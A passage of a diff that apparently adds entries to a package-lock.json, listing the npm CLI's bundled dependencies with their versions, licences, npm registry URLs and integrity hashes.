"sha512-SoRmbGStwNYHgKfjOrX2L0mUvp9bUVv0uPppZSOMAntEbcFtoC3MKF5b3T6HQPXKIV+QGY3xPO3JK5it5lVkuw==", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/fs-vacuum": { + "version": "1.2.9", + "inBundle": true, + "license": "ISC", + "dependencies": { + "graceful-fs": "^4.1.2", + "path-is-inside": "^1.0.1", + "rimraf": "^2.5.2" + } + }, + "node_modules/npm/node_modules/fs-write-stream-atomic": { + "version": "1.0.8", + "inBundle": true, + "license": "ISC", + "dependencies": { + "graceful-fs": "^4.1.2", + "iferr": "^0.1.5", + "imurmurhash": "^0.1.4", + "readable-stream": "1 || 2" + } + }, + "node_modules/npm/node_modules/fs-write-stream-atomic/node_modules/iferr": { + "version": "0.1.5", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/fstream": { + "version": "1.0.10", + "inBundle": true, + "license": "ISC", + "dependencies": { + "graceful-fs": "^4.1.2", + "inherits": "~2.0.0", + "mkdirp": ">=0.5 0", + "rimraf": "2" + }, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/npm/node_modules/fstream-npm": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/fstream-npm/-/fstream-npm-1.1.1.tgz", + "integrity": "sha512-zKZuzxog3e6wPg22PC1UoI+efTOCtngC2b6qAZpUZu3t9oB3A+MuLIUosVPPFVmq6+WZsHZ3h1bhGazc4E9a7Q==", + "inBundle": true, + "license": "ISC", + "dependencies": { + "fstream-ignore": "^1.0.0", + "inherits": "2" + } + }, + "node_modules/npm/node_modules/fstream-npm/node_modules/fstream-ignore": { + "version": "1.0.5", + "inBundle": true, + "license": "ISC", + "dependencies": { + "fstream": "^1.0.0", + "inherits": "2", + "minimatch": "^3.0.0" + } + }, + "node_modules/npm/node_modules/github-url-from-git": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/github-url-from-git/-/github-url-from-git-1.4.0.tgz", + "integrity": "sha512-Vd1uAwEIbUaaYodSvEZRgMOdLUvY7+kZ+PuJNPVBXldTuVcHFtcLENvl2Ds9KKO9q6Ld2o+eVmA/wabaN3/2mQ==", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/github-url-from-username-repo": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/github-url-from-username-repo/-/github-url-from-username-repo-1.0.2.tgz", + "integrity": "sha512-Tj8CQqRoFVTglGdQ8FQmfq8gOOoOYZX7tnOKP8jq8Hdz2OTDhxvtlkLAbrqMYZ7X/YdaYQoUG1IBWxISBfqZ+Q==", + "inBundle": true, + "license": "BSD-2-Clause" + }, + "node_modules/npm/node_modules/glob": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.0.6.tgz", + "integrity": "sha512-f8c0rE8JiCxpa52kWPAOa3ZaYEnzofDzCQLCn3Vdk0Z5OVLq3BsRFJI4S4ykpeVW6QMGBUkMeUpoEgWnMTnw5Q==", + "inBundle": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.2", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/glob/node_modules/fs.realpath": { + "version": "1.0.0", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/glob/node_modules/path-is-absolute": { + "version": "1.0.0", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/graceful-fs": { + "version": "4.1.6", + "inBundle": true, + "license": "ISC", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/npm/node_modules/hosted-git-info": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.1.5.tgz", + "integrity": "sha512-5sLwVGWIA8493A2PzG/py8s+uBrYqrwmLp6C6U5+Gpw5Ll49OOigsuD4LKbUTExbgedTNPvPb/0GV5ohHYYNBg==", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/npm/node_modules/inflight": { + "version": "1.0.5", + "inBundle": true, + "license": "ISC", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/npm/node_modules/inherits": { + "version": "2.0.3", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/ini": { + "version": "1.3.4", + "inBundle": true, + "license": "ISC", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/init-package-json": { + "version": "1.9.4", + "inBundle": true, + "license": "ISC", + "dependencies": { + "glob": "^6.0.0", + "npm-package-arg": "^4.0.0", + "promzard": "^0.3.0", + "read": "~1.0.1", + "read-package-json": "1 || 2", + "semver": "2.x || 3.x || 4 || 5", + "validate-npm-package-license": "^3.0.1", + "validate-npm-package-name": "^2.0.1" + } + }, + "node_modules/npm/node_modules/init-package-json/node_modules/glob": { + "version": "6.0.4", + "inBundle": true, + "license": "ISC", + "dependencies": { + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "2 || 3", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/init-package-json/node_modules/glob/node_modules/path-is-absolute": { + "version": "1.0.0", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/init-package-json/node_modules/promzard": { + "version": "0.3.0", + "inBundle": true, + "license": "ISC", + "dependencies": { + "read": "1" + } + }, + "node_modules/npm/node_modules/lockfile": { + "version": "1.0.1", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/lru-cache": { + "version": "4.0.1", + "inBundle": true, + "license": "ISC", + "dependencies": { + "pseudomap": "^1.0.1", + "yallist": "^2.0.0" + } + }, + "node_modules/npm/node_modules/lru-cache/node_modules/pseudomap": { + "version": "1.0.2", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/lru-cache/node_modules/yallist": { + "version": "2.0.0", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/minimatch": { + "version": "3.0.3", + "inBundle": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/minimatch/node_modules/brace-expansion": { + "version": "1.1.6", + "inBundle": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^0.4.1", + "concat-map": "0.0.1" + } + }, + "node_modules/npm/node_modules/minimatch/node_modules/brace-expansion/node_modules/balanced-match": { + "version": "0.4.2", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/minimatch/node_modules/brace-expansion/node_modules/concat-map": { + "version": "0.0.1", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/mkdirp": { + "version": "0.5.1", + "inBundle": true, + "license": "MIT", + "dependencies": { + "minimist": "0.0.8" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/npm/node_modules/mkdirp/node_modules/minimist": { + "version": "0.0.8", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/node-gyp": { + "version": "3.6.0", + "inBundle": true, + "license": "MIT", + "dependencies": { + "fstream": "^1.0.0", + "glob": "^7.0.3", + "graceful-fs": "^4.1.2", + "minimatch": "^3.0.2", + "mkdirp": "^0.5.0", + "nopt": "2 || 3", + "npmlog": "0 || 1 || 2 || 3 || 4", + "osenv": "0", + "request": "2", + "rimraf": "2", + "semver": "~5.3.0", + "tar": "^2.0.0", + "which": "1" + }, + "bin": { + "node-gyp": "bin/node-gyp.js" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/npm/node_modules/node-gyp/node_modules/semver": { + "version": "5.3.0", + "inBundle": true, + "license": "ISC", + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/npm/node_modules/nopt": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz", + "integrity": "sha512-4GUt3kSEYmk4ITxzB/b9vaIDfUVWN/Ml1Fwl11IlnIG2iaJ9O6WXZ9SrYM9NLI8OCBieN2Y8SWC2oJV0RQ7qYg==", + "inBundle": true, + "license": "ISC", + "dependencies": { + "abbrev": "1" + }, + "bin": { + "nopt": "bin/nopt.js" + } + }, + "node_modules/npm/node_modules/normalize-git-url": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/normalize-git-url/-/normalize-git-url-3.0.2.tgz", + "integrity": "sha512-UEmKT33ssKLLoLCsFJ4Si4fmNQsedNwivXpuNTR4V1I97jU9WZlicTV1xn5QAG5itE5B3Z9zhl8OItP6wIGkRA==", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/normalize-package-data": { + "version": "2.3.5", + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "hosted-git-info": "^2.1.4", + "is-builtin-module": "^1.0.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + } + }, + "node_modules/npm/node_modules/normalize-package-data/node_modules/is-builtin-module": { + "version": "1.0.0", + "inBundle": true, + "license": "MIT", + "dependencies": { + "builtin-modules": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/normalize-package-data/node_modules/is-builtin-module/node_modules/builtin-modules": { + "version": "1.1.0", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/npm-cache-filename": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/npm-cache-filename/-/npm-cache-filename-1.0.2.tgz", + "integrity": "sha512-5v2y1KG06izpGvZJDSBR5q1Ej+NaPDO05yAAWBJE6+3eiId0R176Gz3Qc2vEmJnE+VGul84g6Qpq8fXzD82/JA==", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/npm-install-checks": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/npm-install-checks/-/npm-install-checks-1.0.7.tgz", + "integrity": "sha512-IyaSpkt3NMXaXezbnHxwEZ6HBWpQFlKBUZ0ZEoUCyq3LoAaZEWJ2mchhJPauuvevhkvi8SNW67FiWZLpUhJ82w==", + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "npmlog": "0.1 || 1 || 2", + "semver": "^2.3.0 || 3.x || 4 || 5" + } + }, + "node_modules/npm/node_modules/npm-package-arg": { + "version": "4.1.0", + "inBundle": true, + "license": "ISC", + "dependencies": { + "hosted-git-info": "^2.1.4", + "semver": "4 || 5" + } + }, + "node_modules/npm/node_modules/npm-registry-client": { + "version": "7.2.1", + "resolved": "https://registry.npmjs.org/npm-registry-client/-/npm-registry-client-7.2.1.tgz", + "integrity": "sha512-igXKTHWr0ipuL+pKNRBV2p2H4xqfnpVtYiWQmTKfq5/eFmZxKh9U+PyoqdKzqyvPTFLNQVqMGy5W5GjOr1Ukeg==", + "inBundle": true, + "license": "ISC", + "dependencies": { + "concat-stream": "^1.5.2", + "graceful-fs": "^4.1.6", + "normalize-package-data": "~1.0.1 || ^2.0.0", + "npm-package-arg": "^3.0.0 || ^4.0.0", + "once": "^1.3.3", + "request": "^2.74.0", + "retry": "^0.10.0", + "semver": "2 >=2.2.1 || 3.x || 4 || 5", + "slide": "^1.1.3" + }, + "optionalDependencies": { + "npmlog": "~2.0.0 || ~3.1.0" + } + }, + "node_modules/npm/node_modules/npm-registry-client/node_modules/concat-stream": { + "version": "1.5.2", + "engines": [ + "node >= 0.8" + ], + "inBundle": true, + "license": "MIT", + "dependencies": { + "inherits": "~2.0.1", + "readable-stream": "~2.0.0", + "typedarray": "~0.0.5" + } + }, + "node_modules/npm/node_modules/npm-registry-client/node_modules/concat-stream/node_modules/readable-stream": { + "version": "2.0.6", + "inBundle": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "~1.0.0", + "process-nextick-args": "~1.0.6", + "string_decoder": "~0.10.x", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/npm/node_modules/npm-registry-client/node_modules/concat-stream/node_modules/readable-stream/node_modules/core-util-is": { + "version": "1.0.2", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/npm-registry-client/node_modules/concat-stream/node_modules/readable-stream/node_modules/isarray": { + "version": "1.0.0", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/npm-registry-client/node_modules/concat-stream/node_modules/readable-stream/node_modules/process-nextick-args": { + "version": "1.0.7", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/npm-registry-client/node_modules/concat-stream/node_modules/readable-stream/node_modules/string_decoder": { + "version": "0.10.31", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/npm-registry-client/node_modules/concat-stream/node_modules/readable-stream/node_modules/util-deprecate": { + "version": "1.0.2", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/npm-registry-client/node_modules/concat-stream/node_modules/typedarray": { + "version": "0.0.6", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/npm-registry-client/node_modules/retry": { + "version": "0.10.0", + "inBundle": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/npm-user-validate": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/npm-user-validate/-/npm-user-validate-0.1.5.tgz", + "integrity": "sha512-86IbFCunHe+6drSd71Aafs8H8xg55lHE9O1/6VS4s+OsBh53xEtQNY1lspkgoaO2b3hhfvDW2FA0eS47inrs1w==", + "inBundle": true, + "license": "BSD-2-Clause" + }, + "node_modules/npm/node_modules/npmlog": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-2.0.4.tgz", + "integrity": "sha512-DaL6RTb8Qh4tMe2ttPT1qWccETy2Vi5/8p+htMpLBeXJTr2CAqnF5WQtSP2eFpvaNbhLZ5uilDb98mRm4Q+lZQ==", + "inBundle": true, + "license": "ISC", + "dependencies": { + "ansi": "~0.3.1", + "are-we-there-yet": "~1.1.2", + "gauge": "~1.2.5" + } + }, + "node_modules/npm/node_modules/npmlog/node_modules/are-we-there-yet": { + "version": "1.1.2", + "inBundle": true, + "license": "ISC", + "dependencies": { + "delegates": "^1.0.0", + "readable-stream": "^2.0.0 || ^1.1.13" + } + }, + "node_modules/npm/node_modules/npmlog/node_modules/are-we-there-yet/node_modules/delegates": { + "version": "1.0.0", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/npmlog/node_modules/gauge": { + "version": "1.2.7", + "inBundle": true, + "license": "ISC", + "dependencies": { + "ansi": "^0.3.0", + "has-unicode": "^2.0.0", + "lodash.pad": "^4.1.0", + "lodash.padend": "^4.1.0", + "lodash.padstart": "^4.1.0" + } + }, + "node_modules/npm/node_modules/npmlog/node_modules/gauge/node_modules/has-unicode": { + "version": "2.0.0", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/npmlog/node_modules/gauge/node_modules/lodash._baseslice": { + "version": "4.0.0", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/npmlog/node_modules/gauge/node_modules/lodash._basetostring": { + "version": "4.12.0", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/npmlog/node_modules/gauge/node_modules/lodash.pad": { + "version": "4.4.0", + "inBundle": true, + "license": "MIT", + "dependencies": { + "lodash._baseslice": "~4.0.0", + "lodash._basetostring": "~4.12.0", + "lodash.tostring": "^4.0.0" + } + }, + "node_modules/npm/node_modules/npmlog/node_modules/gauge/node_modules/lodash.padend": { + "version": "4.5.0", + "inBundle": true, + "license": "MIT", + "dependencies": { + "lodash._baseslice": "~4.0.0", + "lodash._basetostring": "~4.12.0", + "lodash.tostring": "^4.0.0" + } + }, + "node_modules/npm/node_modules/npmlog/node_modules/gauge/node_modules/lodash.padstart": { + "version": "4.5.0", + "inBundle": true, + "license": "MIT", + "dependencies": { + "lodash._baseslice": "~4.0.0", + "lodash._basetostring": "~4.12.0", + "lodash.tostring": "^4.0.0" + } + }, + "node_modules/npm/node_modules/npmlog/node_modules/gauge/node_modules/lodash.tostring": { + "version": "4.1.4", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "inBundle": true, + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/npm/node_modules/opener": { + "version": "1.4.1", + "inBundle": true, + "license": "WTFPL", + "bin": { + "opener": "opener.js" + } + }, + "node_modules/npm/node_modules/osenv": { + "version": "0.1.3", + "inBundle": true, + "license": "ISC", + "dependencies": { + "os-homedir": "^1.0.0", + "os-tmpdir": "^1.0.0" + } + }, + "node_modules/npm/node_modules/osenv/node_modules/os-homedir": { + "version": "1.0.0", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/osenv/node_modules/os-tmpdir": { + "version": "1.0.1", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/path-is-inside": { + "version": "1.0.1", + "inBundle": true, + "license": "WTFPL" + }, + "node_modules/npm/node_modules/read": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/read/-/read-1.0.7.tgz", + "integrity": "sha512-rSOKNYUmaxy0om1BNjMN4ezNT6VKK+2xF4GBhc81mkH7L60i6dp8qPYrkndNLT3QPphoII3maL9PVC9XmhHwVQ==", + "inBundle": true, + "license": "ISC", + "dependencies": { + "mute-stream": "~0.0.4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/npm/node_modules/read-installed": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/read-installed/-/read-installed-4.0.3.tgz", + "integrity": "sha512-O03wg/IYuV/VtnK2h/KXEt9VIbMUFbk3ERG0Iu4FhLZw0EP0T9znqrYDGn6ncbEsXUFaUjiVAWXHzxwt3lhRPQ==", + "inBundle": true, + "license": "ISC", + "dependencies": { + "debuglog": "^1.0.1", + "read-package-json": "^2.0.0", + "readdir-scoped-modules": "^1.0.0", + "semver": "2 || 3 || 4 || 5", + "slide": "~1.1.3", + "util-extend": "^1.0.1" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.2" + } + }, + "node_modules/npm/node_modules/read-installed/node_modules/debuglog": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/debuglog/-/debuglog-1.0.1.tgz", + "integrity": "sha512-syBZ+rnAK3EgMsH2aYEOLUW7mZSY9Gb+0wUMCFsZvcmiz+HigA0LOcq/HoQqVuGG+EKykunc7QG2bzrponfaSw==", + "inBundle": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/read-installed/node_modules/readdir-scoped-modules": { + "version": "1.0.2", + "inBundle": true, + "license": "ISC", + "dependencies": { + "debuglog": "^1.0.1", + "dezalgo": "^1.0.0", + "graceful-fs": "^4.1.2", + "once": "^1.3.0" + } + }, + "node_modules/npm/node_modules/read-installed/node_modules/util-extend": { + "version": "1.0.1", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/read-package-json": { + "version": "2.0.4", + "inBundle": true, + "license": "ISC", + "dependencies": { + "glob": "^6.0.0", + "json-parse-helpfulerror": "^1.0.2", + "normalize-package-data": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.2" + } + }, + "node_modules/npm/node_modules/read-package-json/node_modules/glob": { + "version": "6.0.4", + "inBundle": true, + "license": "ISC", + "dependencies": { + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "2 || 3", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/read-package-json/node_modules/glob/node_modules/path-is-absolute": { + "version": "1.0.0", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/read-package-json/node_modules/json-parse-helpfulerror": { + "version": "1.0.3", + "inBundle": true, + "license": "MIT", + "dependencies": { + "jju": "^1.1.0" + } + }, + "node_modules/npm/node_modules/read-package-json/node_modules/json-parse-helpfulerror/node_modules/jju": { + "version": "1.3.0", + "inBundle": true, + "license": "WTFPL" + }, + "node_modules/npm/node_modules/read/node_modules/mute-stream": { + "version": "0.0.5", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/readable-stream": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.1.5.tgz", + "integrity": "sha512-NkXT2AER7VKXeXtJNSaWLpWIhmtSE3K2PguaLEeWr4JILghcIKqoLt1A3wHrnpDC5+ekf8gfk1GKWkFXe4odMw==", + "inBundle": true, + "license": "MIT", + "dependencies": { + "buffer-shims": "^1.0.0", + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "~1.0.0", + "process-nextick-args": "~1.0.6", + "string_decoder": "~0.10.x", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/npm/node_modules/readable-stream/node_modules/buffer-shims": { + "version": "1.0.0", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/readable-stream/node_modules/core-util-is": { + "version": "1.0.2", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/readable-stream/node_modules/isarray": { + "version": "1.0.0", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/readable-stream/node_modules/process-nextick-args": { + "version": "1.0.7", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/readable-stream/node_modules/string_decoder": { + "version": "0.10.31", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/readable-stream/node_modules/util-deprecate": { + "version": "1.0.2", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/realize-package-specifier": { + "version": "3.0.1", + "inBundle": true, + "license": "ISC", + "dependencies": { + "dezalgo": "^1.0.1", + "npm-package-arg": "^4.0.0" + } + }, + "node_modules/npm/node_modules/request": { + "version": "2.74.0", + "resolved": "https://registry.npmjs.org/request/-/request-2.74.0.tgz", + "integrity": "sha512-m3uMovC42y63jXe/Sr49/qJdqpSYwQAgYIc487l0zSXI6Z6f5cV/V4a86h2Z+AAwKpt5bfB66KrZxOfOSdh6FQ==", + "inBundle": true, + "license": "Apache-2.0", + "dependencies": { + "aws-sign2": "~0.6.0", + "aws4": "^1.2.1", + "bl": "~1.1.2", + "caseless": "~0.11.0", + "combined-stream": "~1.0.5", + "extend": "~3.0.0", + "forever-agent": "~0.6.1", + "form-data": "~1.0.0-rc4", + "har-validator": "~2.0.6", + "hawk": "~3.1.3", + "http-signature": "~1.1.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.7", + "node-uuid": "~1.4.7", + "oauth-sign": "~0.8.1", + "qs": "~6.2.0", + "stringstream": "~0.0.4", + "tough-cookie": "~2.3.0", + "tunnel-agent": "~0.4.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/npm/node_modules/request/node_modules/aws-sign2": { + "version": "0.6.0", + "inBundle": true, + "license": "Apache-2.0", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/request/node_modules/aws4": { + "version": "1.4.1", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/request/node_modules/bl": { + "version": "1.1.2", + "inBundle": true, + "license": "MIT", + "dependencies": { + "readable-stream": "~2.0.5" + } + }, + "node_modules/npm/node_modules/request/node_modules/bl/node_modules/readable-stream": { + "version": "2.0.6", + "inBundle": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "~1.0.0", + "process-nextick-args": "~1.0.6", + "string_decoder": "~0.10.x", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/npm/node_modules/request/node_modules/bl/node_modules/readable-stream/node_modules/core-util-is": { + "version": "1.0.2", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/request/node_modules/bl/node_modules/readable-stream/node_modules/isarray": { + "version": "1.0.0", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/request/node_modules/bl/node_modules/readable-stream/node_modules/process-nextick-args": { + "version": "1.0.7", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/request/node_modules/bl/node_modules/readable-stream/node_modules/string_decoder": { + "version": "0.10.31", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/request/node_modules/bl/node_modules/readable-stream/node_modules/util-deprecate": { + "version": "1.0.2", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/request/node_modules/caseless": { + "version": "0.11.0", + "inBundle": true, + "license": "Apache-2.0" + }, + "node_modules/npm/node_modules/request/node_modules/combined-stream": { + "version": "1.0.5", + "inBundle": true, + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/npm/node_modules/request/node_modules/combined-stream/node_modules/delayed-stream": { + "version": "1.0.0", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/npm/node_modules/request/node_modules/extend": { + "version": "3.0.0", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/request/node_modules/forever-agent": { + "version": "0.6.1", + "inBundle": true, + "license": "Apache-2.0", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/request/node_modules/form-data": { + "version": "1.0.0-rc4", + "inBundle": true, + "license": "MIT", + "dependencies": { + "async": "^1.5.2", + "combined-stream": "^1.0.5", + "mime-types": "^2.1.10" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/npm/node_modules/request/node_modules/form-data/node_modules/async": { + "version": "1.5.2", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/request/node_modules/har-validator": { + "version": "2.0.6", + "inBundle": true, + "license": "ISC", + "dependencies": { + "chalk": "^1.1.1", + "commander": "^2.9.0", + "is-my-json-valid": "^2.12.4", + "pinkie-promise": "^2.0.0" + }, + "bin": { + "har-validator": "bin/har-validator" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/npm/node_modules/request/node_modules/har-validator/node_modules/chalk": { + "version": "1.1.3", + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^2.2.1", + "escape-string-regexp": "^1.0.2", + "has-ansi": "^2.0.0", + "strip-ansi": "^3.0.0", + "supports-color": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/request/node_modules/har-validator/node_modules/chalk/node_modules/ansi-styles": { + "version": "2.2.1", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/request/node_modules/har-validator/node_modules/chalk/node_modules/escape-string-regexp": { + "version": "1.0.5", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/npm/node_modules/request/node_modules/har-validator/node_modules/chalk/node_modules/has-ansi": { + "version": "2.0.0", + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/request/node_modules/har-validator/node_modules/chalk/node_modules/supports-color": { + "version": "2.0.0", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/npm/node_modules/request/node_modules/har-validator/node_modules/commander": { + "version": "2.9.0", + "inBundle": true, + "license": "MIT", + "dependencies": { + "graceful-readlink": ">= 1.0.0" + }, + "engines": { + "node": ">= 0.6.x" + } + }, + "node_modules/npm/node_modules/request/node_modules/har-validator/node_modules/commander/node_modules/graceful-readlink": { + "version": "1.0.1", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/request/node_modules/har-validator/node_modules/is-my-json-valid": { + "version": "2.13.1", + "inBundle": true, + "license": "MIT", + "dependencies": { + "generate-function": "^2.0.0", + "generate-object-property": "^1.1.0", + "jsonpointer": "2.0.0", + "xtend": "^4.0.0" + } + }, + "node_modules/npm/node_modules/request/node_modules/har-validator/node_modules/is-my-json-valid/node_modules/generate-function": { + "version": "2.0.0", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/request/node_modules/har-validator/node_modules/is-my-json-valid/node_modules/generate-object-property": { + "version": "1.2.0", + "inBundle": true, + "license": "MIT", + "dependencies": { + "is-property": "^1.0.0" + } + }, + "node_modules/npm/node_modules/request/node_modules/har-validator/node_modules/is-my-json-valid/node_modules/generate-object-property/node_modules/is-property": { + "version": "1.0.2", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/request/node_modules/har-validator/node_modules/is-my-json-valid/node_modules/jsonpointer": { + "version": "2.0.0", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/npm/node_modules/request/node_modules/har-validator/node_modules/is-my-json-valid/node_modules/xtend": { + "version": "4.0.1", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.4" + } + 